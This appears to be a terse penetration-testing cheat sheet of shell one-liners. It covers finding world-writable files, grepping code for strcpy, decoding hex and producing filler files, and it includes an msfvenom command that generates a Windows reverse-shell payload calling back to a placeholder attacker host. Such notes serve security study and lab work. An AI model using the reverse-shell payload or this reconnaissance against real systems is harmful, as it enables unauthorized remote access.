Looking for writable files

find / -perm -2 ! -type l ! -path "/proc*" ! -path "/sys*" -ls 2>/dev/null

 

Buffer Overflow

Looking for and possible vulnerable code

find . -type f -exec grep -Hn 'strcpy' {} \; 
or
find . -type f -exec grep -Hn 'strcpy' {} \; | awk -F'[:(,)]' '{print $1 ":" $2 " ==> " $4 "|" $5 "|" $6}'

Generating Payload

Generating an payload to be used at python script avoiding some bad characters

msfvenom -p windows/shell_reverse_tcp LHOST=<server_ip> LPORT=<server_port> -b '\x00\x0a\x0d' -f python

Decoding/printting an HEX Code

echo "41424344" | xxd -r -p
or 
cat hexfile.txt | sed 's/0x//g' | sed 's/,//g' | tr -d '\n' | xxd -r -p

Listting all msfvenom payloads candidates and his Size

for p in `msfvenom --list payloads | grep windows | awk '{print $1}'` ; do echo $p; msfvenom -p $p --list-options 2>&1 | grep -i "total size"; echo; done

Generating 100 files with random content betwwen 1 and 10 MB

for i in {1..100} ; do SIZE=$(( ( RANDOM % 10 )  + 1 )); FILENAME=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32); echo "[$i - 100] Generating $SIZE file..."; dd if=/dev/urandom of=sample_$FILENAME.txt bs=1M count=$SIZE; done
